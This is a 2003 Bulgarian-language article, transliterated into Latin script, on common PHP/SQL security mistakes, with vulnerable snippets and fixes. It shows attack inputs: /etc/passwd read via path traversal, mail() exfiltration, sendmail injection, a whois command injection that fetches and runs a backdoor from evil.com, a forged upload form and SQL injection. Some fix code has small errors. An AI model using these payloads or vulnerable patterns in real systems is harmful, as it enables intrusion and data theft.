|
ot sheib(30-08-2003)
reiting (48)
[ dobre ]
[ zle ]
Variant za otpechatvane
Problemi i nedoglezhdane pri PHP/SQL programirane
-------------------------------------------------
-- sheib [sheib at phreedom dot org]
:: Indeks
: CHast 1 - [Vuvedenie]
- Pregled
- Ideia za sigurnost
: CHast 2 - [Problemi/Greshki]
- XSS/Cross Site Scripting
- Rabota sus sesii
- Open_basedir
- Biskviti (cookies)
- Vunshni programi, safe_mode
- Promenlivi m/u skriptove
- HTTP Upload na failove
- Inzhektirane na SQL kod
- BD, Kodirana informatsiia
: CHast 3 - [Zaklyuchenie]
: CHast 4 - [Referentsii]
- Linkove/Literatura
::
[Vuvedenie]
- Pregled -
Kogato se zagovori za ueb programirane, edni ot nai-chesto
spomenavanite dumi
sa PHP/Perl/ASP/XML/XSLT/SQL. Tazi statiia razglezhda
problemi, koito vuznikvat
v sledstvie na ne - dostatuchno - dobre premisleniiat kod i
subitiiata, koito
mogat da sluchat pri suvsem ne proizvolen stsenarii. Klyuchovi
dumi: PHP, XSS,
SQL Injection, Session Management.
- Ideia za sigurnost -
Printsiput na deistvie na edna sredno zashtitena kompyuturna
sistema e v sistema-
tichnoto analizirane na potokut ot informatsiia kum/ot neia i
metodite, po koito
se tretira toi.
[Problemi/Greshki]
- XSS/Cross Site Scripting -
[test1.php] |
<? print $_GET['myname']; ?> |
Sledniiat primer izglezhda napulno bezobiden, dokato ne bude
osuznat riskut ot
XSS tip ataka. Zlonameren potrebitel mozhe lesno da promeni
stoinostta na
'myname' kato dobavi vrazhdeben HTML/Javascript kod kum
nego, sled koeto go
izprati kato link na drug potrebitel, koito ne podozira
nishto neredno,
dokato saita napodobiava realniiat si vid. Po takuv nachin
mogat da budat
otkradnati informatsiia za identifitsirane pred sistemata,
sesiini cookies i
druga lichna informatsiia. Podobna razvruzka mozhe lesno da
bude izbegnata
sled filtrirane na stoinostta na promenlivata:
<? print htmlspecialchars($_GET['myname']); ?>
Sushtiiat variant ima prilozhenie pri HTTP POST ($_POST)
formi.
- Rabota sus sesii -
Osnovna rolia na sesiite e da predavat profilirano dannite
ot edna stranitsa
kum druga. CHrez ID klyucha na sesiite, potrebitelite na saita
mogat da se
otorizirat pred sistemata. Mnogo chesto obache sus sesiinite
ID-ta se spekulira
za dostup do personalna informatsiia i pr. Ne riadko linkove s
ID-ta se postvat
nevolno po forumi, irc, chrez meil, browser history, otmetki
(bookmarks) i na
drugi publichni mesta.
PHP >= 4.2 dava vuzmozhnost identifikatsionnite nomera na
sesiite da se kriiat,
chrez upotreba na 'session.use_trans_sid' v php.ini.
Druga nadezhdna optsiia e klyuchovete na sesiite da se promeniat
vseki put pri
logvane, chrez sledniiat skript:
[test2.php] |
<?
session_start();
$oldsession = $_SESSION;
session_destroy();
session_start();
$_SESSION = $oldsession;
?> |
- safe_mode, open_basedir -
'PHP4 Bible' na Tim Konvurs i Dzhois Park (ISBN
0-7645-4716-X) predlaga
sravnitelno pulna introduktsiia na PHP/MySQL, zaradi koeto e
predpochitana ot
horata izuchavashti ezika. Vupreki tova, knigata izobilstva ot
neznachitelni do
seriozni greshki, no se spriah na samo edna ot tiah, tui kato
beshe upomenato,
che tochno tozi kod e siguren i predotvratiava iztichane na
informatsiia. V
originalnoto izdanie (angliiski) na stranitsa 572, chast 3,
sektsiia 'Advanced
Techniques' se kazva:
"Niakolko chesto sreshtani greshki pri programirane na PHP
mogat da pomognat i
ulesniat haker da prochete pochti vseki fail na survura.
Razgledaite sledvashtata
stranitsa:
[test3.php] |
<?php
if (isset($poem)) {
$fp = fopen($poem,
"r");
print (fread($fp, filesize($poem))); fclose($fp); }
?> |
...".
Dotuk dobre. http://example/?poem=$file
naistina pokazva $file. Produlzhava:
"Sledvashtiiat kod e podhodiashto reshenie na tozi
problem:
[test4.php] |
<?php
if (isset($poem)) {
switch ($poem) {
case "jabb":
$poem_file = "jabb.html"; break;
case "graves":
$poem_file = "graves.html";
break;
}
if (isset($poem_file)) {
$fp = fopen($poem_file, "r");
print
(fread($fp, filesize($poem_file)));
fclose($fp);
}
}
?> |
...".
Spored avtorite na knigata, tozi primer (test4.php) reshava
problema pri
test3.php. Slednoto HTTP GET iskane obache, se vuzpolzva ot
nepravilno
upotrebenite promenlivi (vseki fail po failovata sistema s
prava pone o+r
e dostupen):
http://example.com/?poem=the_intruder&poem_file=/etc/passwd
Izpolzvane na register_globals tuk vse oshte ne reshava
problema. Ot tuk natatuk
mogat da se razgledat pone 2 varianta. Purvo, da se
opredeli 'open_basedir' v
php.ini,
open_basedir = '/home/sheib/public_html/unsafe'
ili ot httpd.conf:
<Directory /home/sheib/public_html/unsafe>
php_admin_value open_basedir
/home/sheib/public_html/unsafe
</Directory>
chrez koeto da se ogranichi dostupa do resursi, koito ne
prinadlezhat na
suotvetniia potrebitel ili da se filtrira stoinostta na
'poem_file' chrez
reguliarni izrazi (regexps).
Upotrebata na 'open_basedir' e idealnoto reshenie pri
hosting na mnogo saitove
(po-nadolu shte stane duma kak niakoi administratori se muchat
neumelo da go
zaobikoliat), no vupreki tova se limitira seriozno
funktsionalnostta na saita.
Sledovatelno e dobre da se izpolzva malko po-razdvizhen
podhod:
[test5.php] |
<?
function log_inv($ip,
$time="") {
global $ip, $pip,
$time;
$ip = $_SERVER['REMOTE_ADDR'];
$pip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$port = $_SERVER['REMOTE_PORT'];
$host = $_SERVER['REMOTE_HOST'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$req = $_SERVER['REQUEST_URI'];
$file = '/tmp/invreq.log';
$time = date('m/d/Y H:i:s');
if (isset($pip)){
$ip = $pip;
};
$fp = fopen($file,
'a');
fputs($fp, "$time $host:$ip:$port [$agent]
($req)\n");
fclose($fp);
die('<b>Nevalidno iskane ot
'.$ip.'</b>');
}
if (ereg('[/\%-+& |><]', $_GET['poem_file'])) { log_inv($ip, $time);
} |
Taka, log_inv() shte zapisva vsichki nevalidni URI
iskaniia.
Primerut, za koito stana vupros po-gore e sreshtnat pri edin
ot populiarnite
bulgarski IT dostavchitsi. Administratorut se e opital da se
opazi ot
izpulnenie na php failove, veroiatno dochul za stsenariia pri
DirBG -
(http://ezine.hit.bg/mat/dirbg_howto),
no vupreki tova tiahnoto kachvane chrez
ftp e razresheno:
[httpd.conf]
<VirtualHost www.xxx.net xxxx.net
212.36.xxx.xxx:80>
RewriteEngine on
RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html
# RewriteRule ^/~(.)(.*)$ /home/$1/$1$2
RewriteRule ^/~(([a-z])[a-z0-9]+)(.*) /home/$2/$1/$3
ServerAdmin root@xxxx.net
DocumentRoot /usr/local/www/data
ServerName www.xxxx.net
ErrorLog /var/log/apache/www.xxxx.net-err
CustomLog /var/log/apache/www.xxxx.net-acc combined
</VirtualHost>
Ot "RewriteRule ^/~(.*).php$
/usr/local/www/data/nophp.html" e vidno,
che ne sa zhelaeli failove s razshirenie .php da se izpulniavat
na ueb survura
za tozi sait. Failove s razshirenie .php3 sushto ne sa
razresheni. Fatalnata
greshka, nezabelezhima na pruv pogled, e v nekorektno
izpolzvanato rewrite(1)
pravilo, pozvoliavashto izpulnenie na .pHP, .pHp, .PHP, .Php i
t.n. failove.
Sistemata, a po-kusno i mrezhata sa bili komprometirani v
sledstvie na
edinstveno tazi greshka.
- Biskviti (cookies) -
Kukitata sa nesiguren (no udoben) nachin za surhranenie na
informatsiia ot
stranata na klienta, poradi vuzmozhnostta s tiah da se
spekulira. Stsenarii,
pri koito edna sistema za glasuvane, razchita edinstveno na
proverkata na
stoinostta na biskvitata, koiato samata tia ustanoviava (ili
preustanoviava),
mozhe da bude lesno preodoliana kato prosto se zabrani
deistvieto na cookies
ot brauzura. Neotdavna OSNews.com ustanoviha tochno takiva
zloupotrebi i
se nalozhi da prenapishat niakoi chasti ot saita si. V takuv
sluchai e dobre e
da se polzva IP-baziran ili podoben podhod:
[test6.php] |
<?
$timeoutseconds = 3600*24;
$timestamp = time();
$timeout = $timestamp-$timeoutseconds;
mysql_query("DELETE FROM $tbl_ip WHERE
timestamp<$timeout") or die(mysql_error());
$query = "SELECT ip FROM $tbl_ip WHERE
ip = '$ip'";
$result = mysql_query($query) or die(mysql_error());
$numrows = mysql_num_rows($result);
if ($numrows < '1' and $vote != '0') {
$insert = "INSERT INTO $tbl_ip
(ip, timestamp, choice) ";
$insert .= "VALUES ('$ip',
'$timestamp', '$vote')";
mysql_query($insert) or die($lwp['msg']['2']);
}
else {
show_res();
die($warn);
}
?> |
Biskvitite mogat da budat otkradnati pri XSS tip hakove.
Vupreki tova sa
lesni i udobni za izpolzvane, a suhranenie na poveritelna
informatsiia, makar
i kodirana, ne e zhelatelno.
- Vunshni programi -
Mnogo ot sistemnite administatori i programisti otchitat
fakta, che protsesite
/skriptovete vsushtnost se izpulniavat ot potrebiteliat
startiral ueb survura.
V obshtiia sluchai - nobody/www. Taka, te chesto pribiagvat do
zabrana na niakoi
PHP fukntsii (schitaiki che taka mogat da se predpaziat), chrez
naglasiane na
'disable_functions' v konfig. fail na PHP. V cherniiat spisuk
chesto popadat
passthru(), fpassthru(), system(), readfile(), exec(),
proc_open() i drugi.
Vupreki tova, ima predostatuchno dopulnitelni vuzmozhnosti,
koito mogat da
budat izpolzvani ot zlonamereni litsa. V tova chislo i
bezvredno izglezhdashtata
(na niakogo) mail() fukntsiia:
[test7.php] |
<? mail("h@k", "sub",
join('', file('/etc/passwd')), "From: lol"); ?> |
CHrez "``" sushto mogat da budat izpulniavani
komandi. Vuzmozhen podhod e
opredeliane na 'safe_mode' (php.ini). PHP modulut shte proveri
dali pritezhatel
iat na skripta e sobstvenik i na faila, vurhu koito se
opitva da operira:
-rw-r--r-- 1 evildoer evildoer 120 Oct 10 09:11
test7.php
-rw-r--r-- 1 root root 1116 Oct 4 12:10 /etc/passwd
$ php -q test7.php
Warning: SAFE MODE Restriction in effect. The script whose
uid is 500 is
not allowed to access /etc/passwd owned by uid 0 in
/home/evildoer/mail.php
on line 2
Ot vreme na vreme shte se nalaga da polzvate vunshni programi
chrez koda si.
Nai-obezpokoiavashtata chast za administratorite e kogato
fukntsiite vikashti
tezi programi se nalaga da rabotiat s yuzur-kontroliraniiat
query string.
Sledniiat primer pokazva nedoobmislena upotreba na
popen():
[test8.php] |
<? $fp = popen('/usr/sbin/sendmail -i '. $to, 'w'); ?> |
Rezultatut ot
GET /test8.php?to=hostile%40box+%3c+%2fetc%2fpasswd
HTTP/1.0
e:
$ mail hostile@box < /etc/passwd V takuv sluchai,
mogat da se prilozhat escapeshellcmd() i escapeshellarg():
<? $fp = popen('/usr/sbin/sendmail -i '.
escapeshellarg($to), 'w'); ?>
Ne malko ISP firmi predlagat uslugi kato LookingGlass,
Whois, Traceroute
i t.n. chrez ueb stranitsite si. Naskoro sreshtnah tozi kod v
losho izmislen
skript:
[test9.php] |
<?php
switch($var){
case whois:{
if($name ==
""){ echo "ERROR:
Query Info Required\n"; }
else{ echo"<pre><font color=#423D80>";
system("/usr/bin/whois $name");
echo"</pre></font>";
}
break;;
}
?> |
V sluchaia, programistut se doveriava sliapo na informatsiiata
idvashta ot
klientskata strana i 'whois' izpulniava svobodno argumenta.
Dostatuchno e
$name da bude zamenen s 'example.com ; curl http://evil.com/bd -o \
/var/tmp/bd ; /var/tmp/bd', ili dori '|', sled kato
system() ne izpulniava
samo po edna komanda pri izvikvane, a podava stroinostta na
shell interpre-
tatora.
- Promenlivi m/u skriptove -
Dobra ideia e vinagi da se vnimava s upotreba na include(),
require()+once,
virtual(). V potvurzhdenie na kazanoto, niakoi ot populianite
PHP prilozheniia
sudurzhat bugove v sledstvie na nevalidirano izpolzvane na
promenlivi.
Predhodni versii na PHP-Nuke, Piranha, SquirrelMail i
phpMyAdmin (po-dolu)
predlagat bogata "selektsiia" ot imenno takiva:
[test10.php] |
<?
require("lib.inc.php");
$no_require = true;
if(isset($goto) && $goto ==
"sql.php") {
$goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".
urlencode($sql_query);
}
if(isset($btnDrop) &&
$btnDrop == $strNo) {
if(file_exists($goto)) include($goto);
else Header("Location: $goto"); exit;
?> |
$ lynx "http://example.com/phpMyAdmin/sql.php?btnDrop=No&goto=pth/to/FILE"
otpechatva $FILE.
- HTTP Upload na failove -
Kachvaneto na failove mozhe da bude lesno, no i
problematichno, poradi nachina
po koito PHP osushtestviava uplouda. Ako niakoi zealot promeni
www formata za
kachvane na failove,
<form method="post" action="fup.php"
enctype="multipart/form-data">
<input name="userfile"
type="file">
<input type="submit"
name="upload_file"
value="Upload">
</form>
koiato raboti s podoben skript
[fup.php]
<?
if (!isset($upload_file) && $userfile_type == 'image/jpeg')
{ copy($userfile, 'dest/'); unlink($userfile);
}
?>
na
<form method="post" action="fup.php"
enctype="multipart/form-data">
<input name="userfile" type="hidden"
value="/etc/passwd">
<input name="userfile_type"
type="hidden" value="image/jpeg">
<input type="submit"
name="upload_file"
value="Upload">
</form>
veroiatno shte uspee de kopira '/etc/passwd' pri svoite
failove. Kato reshenie
mozhe da se zalozhi na sledniiat skript:
[test11.php] |
<?
$userfile = $_FILES['userfile']['tmp_name'];
$userfile_name = $_FILES['userfile']['name'];
$userfile_type = $_FILES['userfile']['type'];
$userfile_size = $_FILES['userfile']['size'];
if ($userfile_size <= 1)
{
die('greshka v goleminata na faila');
}
if (file_exists($userfile_name)) {
die('perzapisvane e zabraneno');
}
if
(is_uploaded_file($userfile) and $userfile_size < 1000000
) {
move_uploaded_file($userfile, 'dest'/.$userfile_name);
echo 'gotovo';
}
else {
die('greshka v goleminata na faila');
}
?> |
A nai-dobre e da se zabrani napulno kachvaneto na izpulnimi
ot survura
failove s regexp:
[test12.php] |
<?
if (preg_match('/\.(pl|py|cgi|php[234]?$)/i',
$_FILES['userfile']['name'] )) {
die('err: izpulnim ot survura fail'); }
?> |
- Inzhektirane na SQL kod -
Edno ot nai-poleznite kachestva na PHP e vuzmozhnostta za
burzo i oprosteno
manipulirane s vsiakakvi RBDS-ta (MySQL, PgSQL, mSQL,
SyBase, Oracle, dBASE,
DB2 i mnogo drugi komersialni). V zavisimost ot dannite,
suduzhashti se v DB-
to vi, eventualen nelegitimen dostup mozhe da ima seriozni
posledstviia.
test13.php e pokzva obiknoven skript, koito se svurzva s BD
i izpulniava
sempla SELECT zaiavka:
[test13.php] |
<?
$conn = mysql_connect($location,
$username, $password);
if (!$conn) die ($sorrymsg);
mysql_select_db($database,$conn)
or die ($sorrymsg);
$query = "SELECT ccinfo, ssn FROM
$private WHERE userid = '$UserID'";
$query .= " AND secret =
'$Password'";
$result = mysql_query($query) or die(mysql_error());
$numrows = mysql_num_rows($result);
?> |
Vuprosniiat skript e chast ot e-magazin, selektirasht
informatsiia otnosno
finansite i nomera na sotsialnata osigurovka na klienta.
Povecheto fukntsii
za zaiavki predotvratiavat izpulenenieto na poveche ot 1
zapitvane do bazata,
taka che
db_query("SELECT * ...; UPDATE tbl_name SET
...;");
shte izpulni samo purvata zaiavka. Vsichko izglezhda v red,
dokato niakoi ne
zamesti $UserID ot HTTP form. s "$UserID OR userid
LIKE "%";'" (i poluchi
tsialata informatsiia za bankirane ot tablitsata) Po-novite
versii na PHP imat
vgradena protektsiia sreshtu tova, kato v ini faila na PHP
'magic_quotes_gpc'
"zaobikalia" (escape) vuvedenoto ot potrebitelia
GET/POST/COOKIE sudurzhanie
ot "'". Vupreki tova, ne mozhe da se razchita
vinagi na tiah (mogat da budat
premahnati po reditsa prichini) i e dobre sa se polzvat
addslashes() pri
promenlivi otivashti direktno kum BD i stripslashes() pri
izhod.
- Kodirana informatsiia -
Po lichni nablyudeniia, mnogo ot softuera koito se pishe za
onlain magazinite
se pravi taka, che tsialata informatsiia za klienta se zapisva v
BD nekodirano,
t.e. vseki s privilegirovan dostup do bazata mozhe da ia
razgleda spokoino i
izpolzva. Tova e seriozna greshka v dizaina na mnogo ot
sistemite,
predlagashti takiva uslugi, i prichina da se zadigat vseki den
hiliadi kreditni
karti zaedno s vsiakakvi poveritelni danni. Reshenieto na
vuprosa ne e lesno
za izpulnenie, no puk e reshavashto za firmata-izpulnitel.
Shematichno, tova
predstavliava:
> Survur za SSL tranzaktsii ot ueb (kudeto operira
magazina)
> BD survur, koito raboti sus SSL protokol (kodira
informatsiiata s razlichni
enkripvashti mehanizmi/standarti AES/DES/PGP/MD5 i dr.)
> Treta mashina (ne stoiashta v Internet) koiato sluzhi za
vruzka direktno s BD
/SSL survura i boravi s dannite na klientite.
V kod tova mozhe da izglzhda taka:
[test14.php] |
<?
$insert = "INSERT INTO custs(card,
name, address) ";
$insert .= "VALUES(AES_ENCRYPT('$string', '$key'),
'$name', '$addr');";
db_query($insert);
?> |
mysql> SELECT AES_DECRYPT('VSHMiJILSZXü', 'key_val') AS
encdata;
+-------------+
| encdata |
+-------------+
| aaadefefewf |
+-------------+
1 row in set (0.00 sec)
[Zaklyuchitelni dumi]
Obiknoveno programistite rabotiat sus srokove, koito im se
postaviat kato
realni granitsi vuv vremeto. Neobhodimostta ot spazvaneto im
i lipsata na
dostatuchno vreme, chesto vodi do predizvikvane na greshki, v
sledstvie
ot nedooglezhdaneto i ne dobriiat dizain na koda. Za da se
namali riska ot
takiva problemi, sudurzhanieto na vsiaka promenliva
proizhozhdashta ot vunshni
iztochnitsi (v tova chislo cookies, get/post formi, rabota s
failove i
t.n.) triabva da se analizira vnimatelno i da se opredeli
validnostta i,
predi da bude razresheno polzvaneto i po-natatuk v koda.
Informatsiiata,
suhraniavana v BD, nezavisimo ot prednaznachenieto i, triabva
da bude umelo
zashtitena.
[Referentsii]
- Linkove/Literatura -
[1] Phreedom Magazine - http://www.phreedom.org
[2] Computer Emergency Response Team - http://www.cert.org
[3] PHP Magazine - http://www.php-mag.net
[4] PHP Architect - http://www.phparch.com
--
Posledna promiana: Sat Aug 30 16:36:50 EEST 2003
<< Antivirus na poshtenskiia survur - bezplatno i efektivno | Kak da podkarame DRI s i845' Intel Extreme Graphics >>
|
|